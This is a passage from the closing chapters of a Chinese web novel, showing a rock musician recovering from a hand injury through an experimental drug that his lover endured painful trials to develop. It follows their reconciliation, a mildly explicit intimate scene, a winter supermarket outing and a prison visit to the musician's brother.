当尧新雪听着轮椅缓慢地滑过寂静的走廊时,夕阳的光辉从走廊尽头的窗照射了进来。 橘色的光芒如同一瓢水泼洒了进来,将这两侧的建筑都衬得格外暗。尧新雪有几秒失神,因为这和过去走到舞台前的那条窄道这样像。 在过去,这条窄路像是会在无尽的黑暗里无限绵延,仿佛永远没有尽头,可那时尧新雪清楚自己正一步一步走在这条路上,他也知道自己离那个目标已越来越近。 在那一瞬间,尧新雪竟然听到了自己的声音。 稚嫩、清脆、充满了期待。 那个长发的穿着宽大白袍的小孩就这样逆着光从他的身边跑了过去,走路带起的风甚至吹动了他耳侧的一绺长发。 尧新雪有些怔愣。 因为他听到了那个孩子就这样笑着喊道:“我要去的地方就在那里。” 还没有等他回头,尧新雪就又在面前看到了一个颀长的身影,那是一个漂亮的青年,姿态优雅,从容不迫。 他走过尧新雪的身边,似笑非笑、居高临下地瞥了如今的尧新雪一眼。 在他的身后,尧新橙目不斜视地跟着,楚枕石双手抱着脑袋嘻嘻哈哈,薛仰春蹦跳着往前,却无一例外地自觉落后那人半步。 而那人向他投来的视线竟然这样的冷淡,甚至带着笑意。 尧新雪坐在轮椅上,仅剩的那只手紧紧握着扶手,因为情绪起伏而微微颤抖着,青筋暴起,那些人逆着他要前往的方向而去,他在那一刻感到强烈的愤怒与憎恶,可当他再次眨眼时,眼前看到的一切已经犹如幻梦消逝了。 金色的光辉尽数洒落在他的身上,让他看上去暖融融的,可他的手脚依然冰冷,仿佛再也捂不暖似的。 尧新雪看着前方,喃喃道:“我停下太久了……” 他的喉结缓慢地滑动了一下,瞳孔轻轻颤抖,终于让狰狞的表情恢复了正常,他对着身后茫然的薛仰春说道:“送我回医院吧。” 尧新雪感到疲惫不堪,他回到病床上时,却一反常态,逼着自己努力地吃着饭,并竭力忍下不断涌上来的那阵反胃感。 护工甚至有些惊喜,却又不免担忧,只能站在原地,手足无措地看着他因为疼痛而颤抖着的脊背。 尧新雪原本应该是没有力气咀嚼的,可在今天却又一下、一下地用牙齿碾着那些食物,最后尝试着吞咽。 当软腭上抬,会厌合上,喉部上提,食物即将被咽下时,尧新雪却感到了明显的恶心。他死死地捂住自己的嘴,眼底满是厌恶、憎恨意味,可那些被嚼烂的东西依然违背着他的个人意志,让他不得不全部呕了出来。 尧新雪艰难地呼吸着,他的手指痉挛着,散发着臭味。 护工脸色一变,迅速上前帮他清理,期间努力组织着措辞:“您已经很厉害了,想要吃就意味着能够逐渐康复。” 尧新雪的胸口小幅度地起伏,在过去他因为感到反胃与呕吐而厌食,他不想再吃任何东西,只是靠着输液维持生命,最多吃一点流食。 现在他依然为进食感到痛苦,却毫不犹豫地一勺接着一勺,将那些令他作呕的东西强行塞进自己的胃里。 等到吃完半碗,尧新雪的背已经蒙了一层冷汗。 尧新雪垂下头看着那条缠着绷带的手臂,表情阴沉。 外面下起了小雨,夜幕之下,万家灯火亮起,雨丝倾斜着划过窗玻璃,将无数灯光都化成了光点,一切都如同老旧的电影。 尧新雪最后闭上了眼睛,将自己往被窝里藏了藏。 就这样又过了四个月,他一直在强行地逼自己吃饭,终于有一天他病房的门忽然被人猛地推开。 那人整条右臂都萎缩,畸形地挂在身上,上面遍布着各种可怖的溃烂、伤疤,皮肤表面上甚至生出了血泡,不对称的双臂、瘦削的身形与明显凹下去的脸颊都让他看起来人不人、鬼不鬼的样子。 他的表情痛苦而狰狞,缺在看到尧新雪之后,如同疯子一样又哭又笑。在看到尧新雪后,他终于支撑不住般跪了下来——尧新雪看着他,眼神有那么一瞬间变得怜悯起来。 ——是宋燃犀。 尧新雪伸出左手想要摸上他的侧脸,却被宋燃犀猛地抓住,他如同一只失控的野兽,牢牢扣住尧新雪的手,在缓了好几秒后,他终于无措地松开,好像才终于分清楚这就是现实。 像一条狗般,他将脸贴向尧新雪的手,那是他疤痕遍布、因车祸而留下坑坑洼洼的右脸。 宋燃犀深深地呼吸着,他的眼泪再也止不住,却弯起眼睛,扬起嘴角,仰着头看着尧新雪,哑声道:“成功了……成功了。” 终于能治好你了。 终于能让你好起来了。 他为此忍受了非人的痛苦。 尧新雪微微张开了嘴,却没有发出声音,他看着宋燃犀的眼神,却是交杂着怜悯、痛苦、爱欲、仇恨与快意。 林译紧随而来,他打开门,看到了这一幕。 面对着眼前这个形同疯子的宋燃犀,尧新雪勾着无比满意、无比愉悦的笑容,轻轻低头吻上了宋燃犀的嘴角。 第112章 在失败了九次之后,“蓝尘”的药效终于稳定了下来,终于达到了可用的标准。 宋燃犀是每一版“蓝尘”人体实验中的试验品之一,当他的身体数据基本恢复到原有水准之后,他能体验下一版“蓝尘”了。 他是一个相当不错的实验体,能在事后一一陈述药物带给他的一切感受,进而加快药物的迭代。 这个过程像是反复的死去。 他在体验着这个世界上最残忍的刑罚,宋燃犀曾经以为车祸是他最痛苦的时候,可直到现在他才知道那其实只是极轻的苦楚。 宋燃犀被捆着了束缚带,被戴上了止咬器,泪水模糊了他的脸,无数声音在他的耳边尖叫、嚎哭,他感到四肢百骸被撕裂被烧毁的痛意,他只能在心里不断地、绝望地叫喊着尧新雪,仿佛乞求着能从这个名字里得到一丝安慰。 他如同一只野兽,痛苦、精神失常的样子被隔着一层玻璃由人观赏,身穿白大褂的人冷静地看着这一幕,记录着他表现出来的各种状态,对他的哀嚎无动于衷。 终于在最后一次,宋燃犀的皮肤溃烂出现了好转迹象,其他阿西康宁的患者也同样开始好转,这才结束了宋燃犀这场漫长的折磨。 这意味着“蓝尘”成功了。 在确定那些患者真的都情况稳定且逐渐康复之后,宋燃犀的眼泪夺眶而出,他的喜悦不在于自己得到了解脱,而在于终于能够让尧新雪获救。 尧新雪现在在干什么?是不是更瘦了?外面下雨了吗?右手是不是很痛? 这些念头、这些问题支撑着他吊着一口气,直到他终于得以重见天日。 当束腹带被松开,宋燃犀不顾自己狼狈的样子,拖着身体踉跄着往外走,脸色惨白,整个实验室的人都想要上前阻止他,只有那个老人与林译站在了原地。 老人摇了摇头,林译则上前准备为宋燃犀开车。 于是时隔四个月,尧新雪看到了宋燃犀。 宋燃犀却是以这样一副腐朽、丑陋的样子与他相见。 可尧新雪也没有好到哪里去,他几乎瘦得脱相,右手肿痛,甚至无力再站起。 他们相见时是两个身无分文的青年,在狭小的出租屋里相互依偎;后来一个人成了戛纳影史上最年轻的影帝,一个人成为了世界上最瞩目的摇滚乐手;再后来,竟然一个变得人不人、鬼不鬼,一个则消瘦苍白得如同鬼魂。 他们曾经多么相像啊,正是因为这份相像,让尧新雪做出了原来不应该做出的事,让从不犯错的尧新雪产生了纰漏,让宋燃犀这样傲慢的人一再低头,心甘情愿地被拘上项圈。 直到现在,他们依然相像。 尧新雪注视着宋燃犀扭曲的脸,他的瞳孔里独独映照着尧新雪一个人。 尧新雪舔了舔干燥的唇——是啊,他们多么像。 他们注定要纠缠不清,注定要在暴雨里嗅到彼此的气味找到对方然后紧紧拥抱着相依为命。 这究竟是命运弄人,还是他们的相遇本来就是一个错? 可他们的命运线从一开始就紧密相缠着打了一个死结。即使没有后来的一切,即使他们没有相遇,宋燃犀也对尧新雪依然有所亏欠。 如今尧新雪温柔地注视着宋燃犀,他的目光反复流连过宋燃犀因为试验药品而溃烂畸形、血肉模糊的右手,看着宋燃犀精神崩溃却始终紧紧注视着自己的眼睛,他终于将那口气咽了下去,终于在心里宽恕了宋燃犀的背叛。 宋燃犀曾经在他的眼里死不足惜,可如今宋燃犀为了他死了这么多遍,即使冷酷如尧新雪,那点仇恨也在看到他的样子后逐渐消逝。 也许是因为两人如今同样狼狈,也许是因为宋燃犀又一次的臣服,他终于将全部的爱、信任,乃至关于自己生命的一切都献给了尧新雪。 让尧新雪终于抬起左手,抱住宋燃犀的脑袋,如同对待一只离家出走却又回来了的小狗:“好孩子,谢谢你。” …… 新药在几百个阿西康宁的患者里得到了试验,“蓝尘”的安全性终于到了能够使用的程度。 尧新雪第一时间被接到了手术室里,拆开了绷带重重包裹着的右手。 尧新雪注视着头顶眩目的、雪白的灯光,有那么一瞬间的失神。 时隔钟鸣绑架,已经过去了快整整两年,他在两年里几乎没有抬起过自己的右手。 那只贺忆舟珍爱胜过生命的右手,那只创造了无数美妙乐音的右手,在今天,终于要康复了吗? 当名为蓝尘的药剂打进去,尧新雪因为疼痛,皱着眉闷哼一声。 他如水的长发散落在病床之上,那张苍白而美丽的脸,曾经让无数人都为之动容。 尧新雪何曾流露过脆弱的、不完美的一面? 这个疗程长达五个月,尧新雪能在这个期间里明显地感觉到自己的手在好转。 日光穿透玻璃窗,温柔地打落在尧新雪的脸上,描摹着他的眉眼。 他终于恢复了些许食欲,右手的手指终于能动了。 当他慢慢地将一整碗粥喝下去时,一直在照顾他的护工甚至喜极而泣地为他鼓了鼓掌,眼睛通红:“您会好起来的。” 尧新雪抬起嘴角,偏过头笑:“谢谢。” 宋燃犀一直在通过监控看着他,自己浑身上下缠满了绷带,右手更是彻底溃烂萎缩的样子。他躺在床上,连身边的人在说什么都没有听见。 他的目光眷恋而温柔,看着逐渐健康起来的尧新雪,只感到无限的庆幸与轻松。 宋燃犀的精神状态其实并不好,试药的过程摧毁了他的精神,以至于他仍控制不住自己时不时的发狂与流泪。 他烂掉的整条右臂都是无数个失败品的证明,在这一秒,他终于迟缓地想到了自己。 溃烂到这个程度,是不是需要截肢了? 宋燃犀的脑子终于冷静了下来,就在他开口想要问旁边的医护人员时,他看到了屏幕上的尧新雪仰头看向了监控,与自己对视。 尧新雪做了个口型:过来。 宋燃犀的心跳在那一秒漏了一拍,他有些慌乱地将平板反盖了过去。 看到林译与其他人一副见了鬼的眼神,宋燃犀才佯装淡定地说道:“我要……去见他,给我把轮椅。” 他的房间就在尧新雪的楼上,两个人都待在了宋氏的私人医院里。 宋燃犀的心情其实尤为复杂,越是靠近尧新雪的病房,他就越是如坐针毡。 他不知道尧新雪现在是怎么想的,尧新雪当然恨透了自己,恨不得让他代替他去死。 宋燃犀确实也这样做了,可现在这样,尧新雪满意了吗? 当看到尧新雪做出了“过来”的口型时,宋燃犀竟然下意识地摸了摸自己的颈间,他在那一秒错以为那个土星项链还挂在他的颈上,而尧新雪勾了勾那条项链。 宋燃犀苦笑着摇了摇头,他的左手收紧,在门前犹豫了半秒,依然没有勇气敲下去,最后却是看不下去的林译上前敲了敲房门。 里面传来了一声“进”。 是尧新雪的声音。 林译将宋燃犀推了进去,推到了尧新雪的床边后,就微微欠了欠身退了出去。 这个角度,宋燃犀是与尧新雪平视的,但宋燃犀却低下了头,偏开了视线。 尧新雪看到他空落落的病服里隐约可见的身体疤痕,那明显的抓痕显然是宋燃犀自己抓出来的,也许是因为浑身过敏发痒,也许是因为在幻觉里自己被蚂蚁啃食。 就在宋燃犀张口,准备问尧新雪是否有所好转时,尧新雪抬起手捏住了他的脸,将他的脸扳正,注视着自己:“宋燃犀,痛吗?” 宋燃犀看着他恢复了血色的面容,喉结轻轻动了动:“痛。” 尧新雪莞尔:“记住了吗?” 他要他记住这份痛,记住这是他背叛所要付出的代价。他要让宋燃犀知道,永远不能再犯第三次错。 宋燃犀愣了一瞬,即使避开了尧新雪的视线,却也也尧新雪捕捉到了那一闪而逝的失落与难过,他低哑着声音说:“记住了。” 尧新雪当然知道,宋燃犀在失落些什么。 无非是没有得到尧新雪的怜悯甚至是同情。 宋燃犀也许在内心里还期盼着一份原谅,一份爱。即使归根到底,这一切也并不是他的错。 尧新雪微笑着,他的手指摩挲着宋燃犀的下颌,仿佛在抚摸着自己的狗,他的手指轻轻滑过宋燃犀干燥的嘴唇,然后滑落下去摸过宋燃犀的喉结。 宋燃犀的颈部皮肤上有着勒痕、淤青与破皮。 因为他失控发狂时只能依靠着这些来控制自己,那节颈伤痕累累,看起来一折就断,尧新雪修长如竹节的手指落在上面,像是在思考着怎么折断它。 宋燃犀偏过了头,望着尧新雪的眼睛,与尧新雪对视,他在那一秒想,只要尧新雪说想要他的命,他会毫不犹豫地就献出去。 宋燃犀闭上了眼睛,却在几秒后感觉到尧新雪鼻息的靠近。尧新雪凑到了他的颈侧,嗅了嗅,最后奖励似的亲了亲他的耳侧。 宋燃犀的眼睛红了,他的眼睫在那一瞬间颤抖了起来,他听到尧新雪说:“我原谅你了。” “宋燃犀,回到我身边吧。” 第113章 宋燃犀的手最后没有截肢,凭借着宋氏顶尖的人才与技术,他那条溃烂的右臂竟然真的慢慢好了起来。 而有了“蓝尘”,对于尧新雪来说最致命的阿西康宁也在逐渐散去,他的右手终于完全能动了,四个月后,他也已经能够像正常人一样完成日常生活中的小事。 尧新雪的身体恢复了不少,脸也没那么尖,四肢也有力了不少。 金色的阳光落在他的脸上,他坐在镜子面前,慢条斯理地梳着自己的长发。蓝色的长发干净而柔顺,滑落过他的颈间,最后如同流水般淌过他的背,流过长椅。 尧新雪的头发太长了,住院之后再也没有修剪过,此刻竟然长得垂到了地上,占了三分之二的地板。 那么卷的蓝色长发,像是过度生长的藤蔓,又像是汹涌的海水。 尧新雪的脸庞在镜中美丽得如同画像,他用右手握着梳子轻轻地梳过自己的长发,最后看着自己挑起了唇角。 这场漫长的病痛似乎没有在他的身上留下任何痕迹,他依然那么漂亮,完美无缺得如同天使,却没有人注意到他的眼神改变了。 原本伪饰出温柔实则冷淡的眼睛如今多了一层距离感,让人明显地感觉到他的不易接近。 尧新雪望着镜中的自己在出神。 他在过去骄傲地认为一切都在他的掌控里,他以为自己算无遗策,却没想到最后栽在了一个无关紧要的人的手里。 那点火星从他的五指指隙流落,竟然转而就烧起了大火,几乎将他所建立的一切,将他的乐队全部毁于一旦。 尧新雪也算是死过一次了。 他的眼角勾起一抹讥诮,很快又重新冷静了下来——但是没关系,现在一切都已经回到正轨了。人不能两次踏入同一条河流。 只要尧新雪还活着,那个一直在支撑着他的梦想就会继续延伸下去,只要尧新雪还没有咽气,黑羊乐队就会继续为了走到顶点不断前进。 有人在看着他。 但是尧新雪并不在意,因为他太熟悉这束目光。 这束目光始终追随着尧新雪。痛苦、狂热、愤怒、痛苦、愧疚,这束目光的主人对待他的心情是这样复杂,可即使是这样,也没有离开过一秒,无论是什么时候。 而这束目光的底色也是永恒的爱慕。 尧新雪从来不怀疑这一点。 那人也心照不宣地保持了沉默,只是轻轻地锁上了病房的门。 他乖顺地走到尧新雪身后,如同很久以前做的那样,弯下腰,去揽起尧新雪散落在地板上的长发,仿佛很珍视似的,一绺不落地抱在怀里。 看着尧新雪,宋燃犀有些无奈道:“地上脏。” 尧新雪无所谓:“过几天就要剪掉了。” 他的目光扫过宋燃犀的手,最后仰起脸来,打量起宋燃犀来。 宋燃犀任由他审视,过了好几秒,才终于忍无可忍般低下头,很温柔地吻了吻尧新雪的嘴角。 宋燃犀有些情难自抑。他抱着尧新雪长发的手指甚至微微颤抖,在这个充满了香根草气息的吻里,他竟然有着流泪的冲动。 真好啊,健康的、美丽的尧新雪。 宋燃犀眨了眨眼睛,他在过去几个月的折磨里总是会幻视到尧新雪死去的一幕,仅仅是将这个名字与“死”联系在一起,宋燃犀就会无可控地流泪,心悸。 在吻过之后,宋燃犀克制地拉开了些许距离,只是眼睛通红地注视着尧新雪。 尧新雪却在下一秒抬起了手,将他的脑袋按了下来,强迫式地延长并加深了这个吻。 他们什么都没说,却都心知肚明着彼此在想些什么。 宋燃犀依然在为尧新雪的手感到后怕,也为尧新雪的安好和原谅感到庆幸。 而尧新雪则只是感到无聊,想要勾一下栓在宋燃犀颈上的狗链。 因为是尧新雪主导,所以这个吻比他们过去的截然不同,这个吻有着独属于尧新雪的温柔与独裁,不可抗拒,又带着些许意乱情迷的意味。 宋燃犀尝到嘴里的甜意,甚至半睁着眼,去看尧新雪如同猫被摸舒服了似的享受般眯着眼。 他的头发这么软,让宋燃犀忍不住揉了又揉。 “手怎么样了?”尧新雪抬起手指,抹过了宋燃犀的唇。 “好很多了,已经能正常做事了。”宋燃犀低声道。 尧新雪懒洋洋地“嗯”了一声:“我过几天就出院了。” 宋燃犀原本在抚摸他长发的手闻言一僵,安静了半晌后才镇静道:“你的手还没有完全好。” 尧新雪说:“乐队没人管,何况我已经好得差不多了。” 宋燃犀深吸了一口气,不再说话。 他想说能不能再等等,他想问那他怎么办,他还想问尧新雪,你真的原谅了我吗?我真的可以回到你身边吗? 可这一切卑微到泥里的恳求与绝望的询问都被他无声地咽了下去,宋燃犀在漫长的折磨里已经学会了忍耐,哪怕心里依然无限地感到患得患失,他也一声不吭。 他所做的一切不就是为了让尧新雪好好的,能够重新去做他想做的事吗? 尧新雪的乐队,尧新雪的理想——狐狸注定还是要爬到山顶上。 宋燃犀的心泛上些许酸甜,却在抬眼时与尧新雪似笑非笑的眼睛对视。 在对视的那一秒,宋燃犀就知道自己被看穿了。 宋燃犀苦笑了一下。 尧新雪则微微弯曲眼睛,抬起双手抱住了他的颈。 这是一个邀请的带有些许安抚性的动作同时也是一个美妙的暗示。 宋燃犀的眼睛颤了一下,然后迎合了上去。 尧新雪感觉得到宋燃犀的手抚摸上了他的皮肤。 那只手缠着绷带,和几个月前的自己一模一样。也许内里的皮肤其实还没有长好,宋燃犀只是避重就轻地回答了他的问题。 宋燃犀现在一定很痛。 尧新雪愉快地弯了弯眼睛。 绷带粗糙的质感蹭红了他细腻而雪白的皮肤,尧新雪的窄腰弯折得如同新月,在如潮的欢愉里,两个人终于久违地亲密无间。 尧新雪的呼吸加重,宋燃犀则将毛茸茸的脑袋抵在了他的锁骨上。 过了一会,宋燃犀用半只手把尧新雪抱回到了床上,然后小心翼翼地拨开了因为他薄汗沾在了颈上的发丝。 “什么时候走……”宋燃犀的声音很哑,他有些头疼,觉得混乱,额间已经因为克制忍耐的动作沁出了汗,他这样小心翼翼,生怕弄痛了尧新雪。 什么时候走? 宋燃犀又问了一遍。 尧新雪却没听清。 他只沉浸在久违的快意里,尧新雪感到自己的身体正在微微颤抖,指节曲起甚至战栗。 比起身体上的满足,显然宋燃犀如今卑微的姿态更让他感到快乐。 经历了这么多事,宋燃犀终于心甘情愿、毫无保留地将颈上的那条绳子放到了尧新雪的手里。 宋燃犀越是为尧新雪的离开感到焦虑难耐,尧新雪对他那扭曲的占有欲就越是能得到满足,像是小孩终于抢夺到了心仪许久的玩具。 因为刺激,尧新雪不得不抬高了下颌,他的眼尾一片红,侧过了脸,双膝下意识地并紧,却又被宋燃犀低声哄着分开。 宋燃犀勾着他的膝盖窝,俯下身,扯了旁边的被子盖在尧新雪的上身,然后无法忍耐般小声问:“至少带几个医生跟着你回去。” 他理所当然地把自己排除开外,自以为对尧新雪的想法已经了如指掌,他以为尧新雪不再想看见他,却又始终不放心着尧新雪独自离开。 宋燃犀在那几秒想到了很多,尧新雪之后的吃喝住行,他通通过了一遍脑子,仿佛本能似的。 尧新雪懒懒地抬起一只脚,踩在了他的肩膀上,在缓了几秒后挑眉:“你不跟我一起走吗?” 宋燃犀怔在了原地,他一瞬间仿佛被巨大的欢喜冲昏了头脑,望着尧新雪的眼睛甚至充满了不可置信。 他半晌不出声,于是尧新雪又踩了踩他,甚至孩子气地、不轻不重地将他往后推了推。 宋燃犀于是抓住了他的脚踝,让他踩在了自己胸口的位置,轻声问道:“真的吗?” “你希望是假的?”尧新雪嗤笑了一声。 宋燃犀感觉自己脑子嗡嗡的,他的心一瞬间漏跳了一拍,最后只摇了摇头:“我做梦都希望这是真的。” 他低下头,在尧新雪的额头上落下了一个吻,如同一只大狗,紧紧抱着尧新雪,哑声道:“尧新雪,我爱你。” 宋燃犀贪婪地嗅着那阵香根草的味道,又低声重复了一遍那句话。 尧新雪慢慢地笑了,感觉到了自己肩膀上的些许湿意。 原来是窗外下起了雨,细雨绵绵,划过玻璃窗,如同一道道极浅的刻痕,不断复加在这上面。 只是雨水是冷的,尧新雪肩上的水是热的。 等宋燃犀抬起脸时,尧新雪才看到他脸上的泪痕。 即使,尧新雪。 宋燃犀从兜里拿出了那条土星项链,那是很久之前,尧新雪送给他的生日礼物。 他把这条项链放到了尧新雪的手里,低声问:“可以帮我戴上吗?” 即使,尧新雪。 靠近你就靠近了痛苦。 远离你却也远离了幸福。 第114章 宋燃犀住进了尧新雪的家,两个人因为之前长期住在医院里,所以家里很闷,且家具都已经覆盖上了一层灰,空气甚至也相当潮湿阴冷。 宋燃犀没去收拾什么行李来,只开车把那只叫小房子的猫接了过来。 刚回到家,他就看到尧新雪抱着猫睡在沙发上睡着了。 尧新雪还穿着黑色的风衣,甚至因为犯困,连鞋都没脱,一条腿搭在了沙发的边缘,一条腿则踩在了地上。长靴修饰着他的腿型,他闭着眼睛,窗外的天空因为临近傍晚呈现出青蓝色,搭上暗调的灯光与纯黑的穿搭,也就显得他皮肤冷白。 那只猫领养于他们住在出租屋的时期,那时它还是一只浑身是伤的小猫,现在已经长成一只肥得不行的大猫了。 小房子变成了大房子,尧新雪也不嫌它沉,双手环着它像抱着枕头一样,让它蜷缩成贝果形态压上自己的心口。 平时调皮捣蛋的大猫在尧新雪面前总是很安分,它这么聪明,像是知道自己的两个主人此时都身体不好,于是连踩奶都不敢。 一人一猫就这样和谐地睡在了一块,看着尧新雪熟睡的样子,宋燃犀则心想着要不先把卫生给搞了。 小房子灵敏地注意到了他的动静,懒洋洋地睁一只眼睛看他,然后打了个哈欠,露出尖牙。 宋燃犀怕它吵醒尧新雪,于是竖了手指抵在唇前,做了个嘘的动作。 还好小房子懒得理他,实在太困,几秒后又闭上了眼睛。 宋燃犀于是摘下了自己的手套,然后轻手轻脚地将门口的猫砂盆和猫爬架都搬了进来。 他先去房间里拿了张小被子,盖在尧新雪的身上,又静静地注视了尧新雪好一会,才撸了撸袖子准备干活。 等到他将整个房子都清扫了一遍之后,时针已经指向了晚上八点。 宋燃犀将洗好的抹布收好,正在犹豫着吃什么时,就注意到了尧新雪正睁着眼睛看着自己。 宋燃犀的动作很轻,他甚至不知道尧新雪什么时候醒了,又是从什么时候起就开始看着自己了。 尧新雪的眼睛微微弯起,眼底温润的光就这样勾得宋燃犀不由自主地迈出了一步。 他迈出了一步后就紧随了两步走上去,几乎是毫不犹豫地就靠近了尧新雪。 为了不吵醒还在熟睡的猫,宋燃犀低下头,轻声问:“今天晚上想吃什么?” 尧新雪也低声道:“想吃热的。” 他维持着原来的姿势,有些懒洋洋地用右手抚摸着猫的背。 “那我现在去买。”宋燃犀亲了亲他的嘴角。 尧新雪摸着猫热乎乎软乎乎的背,双手轻轻抱起猫的屁股,像抱着小宝宝一样慢慢地把它转移到猫窝并盖上小被子,做完这一切才瞥了宋燃犀一眼:“一起去。” 宋燃犀愣了一下,才点了点头。 他去拿了条围巾套在了尧新雪的颈上,然后又将自己的手套戴在尧新雪的手上,把尧新雪裹得严严实实地才打开门,站到门口。 宋燃犀等了会,还没等到尧新雪出来,就又转过头看了下。 还没等他反应过来,尧新雪就将一副手套和一顶毛线帽扔给了他。 尧新雪懒懒地挑眉,忽略了宋燃犀受宠若惊的眼神,笑着走了出去。 宋燃犀定定地望着他的身影,嗅到了上面属于尧新雪的味道,过了好几秒才反应过来跟上去。 两人一起走去了楼下的超市,因为已经很晚,又时值冬天,实在很冷,所以超市里已经没有了什么人。 宋燃犀推着购物车,跟在尧新雪身后,看着他站在零食架前认真思考的样子。 尧新雪只露出了一双漂亮的眼睛在外面,扫着零食的标签甚至能会皱眉。 尧新雪在挑他平时喜欢吃的零食,宋燃犀看着他往车里丢着曲奇、软糖、巧克力……终于忍不住眉心一跳,开口道:“这个你不能吃,医生说了,你的手还在恢复期。” “买给你吃的。”尧新雪浑不在意道。 宋燃犀忍不住啧了声,尧新雪则回过头看了他一眼。 于是宋燃犀举起双手作投降状。 到最后,宋燃犀推了两辆车,一辆车装满了尧新雪的零食和猫粮,另外一辆则装着他列在清单上需要购买的菜品和生活用品。 在结账的时候,店员扫了一下那盒尧新雪拿了的巧克力,弯着眼睛笑道:“这盒巧克力今天在做促销活动,如果两位是情侣,并提供一张合照的话,会买一送一哦。” 她向尧新雪调皮地眨了眨眼睛,显然将尧新雪当成了一个女生。 宋燃犀心里腹诽着医生不准尧新雪吃巧克力,本来就已经破例买了一盒了还想送一盒,简直是想得美,且两个人的身份不好公开,这个要求无论如何也不能答应。 他刚想开口拒绝,尧新雪就清了清嗓子说:“好哦。” 宋燃犀听着这把近似女声的声音,有些惊恐地转过头看向了尧新雪,却只看到了尧新雪挑起的嘴角。 宋燃犀一时不知道该说什么,只看到尧新雪无比自然地举起了手机,将两个人装在了相框里。 于是他也举起右手比了个耶,望向了镜头。 给店员看过合照之后,尧新雪心满意足地拿到了第二盒巧克力,即使在宋燃犀的监督之下,还是没能吃成。 幼稚鬼。 孩子气。 宋燃犀看着尧新雪明显雀跃的背影摇了摇头,拎着两袋物品走在了他的身边。 宋燃犀呼吸,空气中便弥散着一团白雾,因为过冷,天空居然在此刻降下了细雪。 漫天的雪落了下来,如同无数纷飞的羽毛。 尧新雪抬起头看着夜空,嘴角上扬起一个快乐的弧度,他的心情显然愉悦,大发慈悲地帮宋燃犀分担了一袋零食的重量。 他勾着袋子的另一边,和宋燃犀并肩走在大雪里。 幼稚鬼。宋燃犀吸了吸鼻子又一次心想。 这个人既能为谋划了一个拉段以宿下马,自己身价翻倍的计划成功而感到愉快,又能为恶作剧成功假扮女声得到买一送一的巧克力感到快乐。 宋燃犀甚至能感觉到,后者更能让尧新雪开心。 雪飞扬着落到了两人的肩膀上,温暖的灯光照亮了前方的路。 他们的影子拉得这样长,走着走着,甚至因为距离过近融合在了一起。 宋燃犀望着影子,忽然想,他们现在其实真的很像一对情侣。一起逛超市,买对方喜欢的零食和菜品,一起买生活用品,玩情侣游戏,然后在雪夜里拎着战利品回家。 就像全天下所有普通的情侣一样。 宋燃犀曾经一度想要得到尧新雪的爱,他贪婪地渴望着得到尧新雪的更多关注,甚至期冀着尧新雪能像他爱他那样爱自己。 可他发现,这是不可能的事。 后来发生了很多很多事,他不再乞求着这份爱,而是恳求着能得到尧新雪的原谅,恳求着能补偿尧新雪。 然后尧新雪说,宋燃犀,回到我身边吧。 就像是一把钥匙插进了锁孔,那把沉重的锁于是咔地一下掉落了下来,宋燃犀甚至听到了这把锁坠落到地上的回音。 于是,他对尧新雪的爱、恨、愧疚与憧憬,所有复杂的情感全部都如同这场细雪般降临了下来,淋了尧新雪满身。 等尧新雪好了,就去把整个货架的巧克力买给他好了。宋燃犀忽然在那一瞬间心想。 他在那一刻生出了无限的勇气,心砰、砰地跳着,手沿着袋子的挂耳靠近,最后碰到了尧新雪的手。 宋燃犀假咳了一下,手指勾着尧新雪,却因为走路的动作,怎么都牵不上。 尧新雪偏过了脸,眼神带着明显的嘲笑意味,最后牵起了宋燃犀的手。 宋燃犀的耳朵很热,但他没有说话,只是这样往前走着。 等两个人回到了家,已经很晚了。 宋燃犀洗了洗手,看着尧新雪换好了衣服才去准备做饭。 冬天很冷,适合做火锅,准备好汤底和佐料之后,宋燃犀就将锅端到了餐桌上。 小房子也饿得饥肠辘辘,绕着餐桌转,不断地咬着尧新雪的裤脚。 尧新雪于是往他的猫粮碗里放了点猫粮,然后才坐到了餐桌上。 火锅冒着氤氲的热气,能听到水开后咕噜咕噜的声音,即使这个偌大的餐桌上只有两个人,尧新雪的心却非常平静。 命运编织了一个巨大的圆,他从孤儿院出走至今,以为自己一直在往前,兜兜转转却还是走回到了原点。 他抬起眼,注视着宋燃犀那条已经活动自如的右手,两个人如同镜像般坐在彼此的对面。 同样的伤,几乎相似的经历与理想。 不知道是想到了什么,尧新雪莞尔:“我下次还想去那家超市。” 宋燃犀为他夹肉的动作一顿,转而笑了笑:“好,那下次还是一起去。” 虽然错过了很多,虽然中途停止了很长时间,虽然走了很多弯路。 但还好,一切还可以重新开始。 窗外下着今年的第一场雪,宋燃犀抱着尧新雪,难得地做了一个好梦。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第115章 全文完 第115章 第二天之后,尧新雪就去探望了尧新橙。 在过去那两年里,因为身体原因,他没有看过尧新橙一次,但动用了很多关系,好让尧新橙在里面能得到关照,至少待得舒服一点。 尧新雪给尧新橙的辩护律师将尧新橙的刑期降到了最低,因为出示了精神疾病的证明,加上迟桉杀人的意图在先,尧新橙最多属于防卫过当,判了两年的有期徒刑。 距离他出狱还有一个月的时间,当看到尧新雪坐在监牢的对面,尧新橙流下了眼泪。 他只是怔怔地望着尧新雪,然后泪流不止。 尧新橙这两年的每一天都在担心着尧新雪,他知道阿西康宁是一个无解的谜题,没有关于尧新雪的任何消息传来,他就知道尧新雪并没有好转。 他几乎憎恨钟鸣与宋燃犀憎恨得呕血,每天牵肠挂肚着望着窗外只渴求着能见到尧新雪一面,可终于真的看到尧新雪后,他又分不清这是真实还是梦境。 “小橙,好久不见。”尧新雪拿着电话看着他,笑了一下。 尧新橙张开嘴,却发现自己无法发出声音,喉咙像是被一只手拧紧了,好半晌才说出一句:“哥哥。” 尧新雪看着对面瘦削黝黑的人,温柔道:“你还好吗,过得怎么样。” 尧新橙乖顺地答道:“我,很好。” 他期冀地看向尧新雪,眼中迸发着迫切与焦虑的光芒。 即使他没说一个字,尧新雪也了然他的意思:“我也很好,我的手已经好起来了,你看。” 他举起完好如初的右手给尧新橙看,尧新橙好不容易止住的眼泪又一次落了下来。 尧新雪轻声道:“你不用担心,很快你就出来了,到时候所有人会一起来接你,没有人能代替你的位置。” 尧新橙的眼圈红了,他定定地望着尧新雪,最后用力地点了点头:“好,哥哥。” 他就这样不舍地看着尧新雪离开,直到尧新雪完全消失在视野尽头,他才收回目光。而后尧新橙又狠狠地咬了一口自己的手臂,用尖锐的痛感来确认刚才的一切都是真的。 两个月后,他终于刑满释放。 尧新橙终于从监牢里走了出来,他换上了一套常服,面对着头顶刺眼的阳光,有些畏缩地低了低头。 但下一秒,旁侧的薛仰春就尖叫着扑了上来,猛地勾着他的颈将他扑倒在了地上。 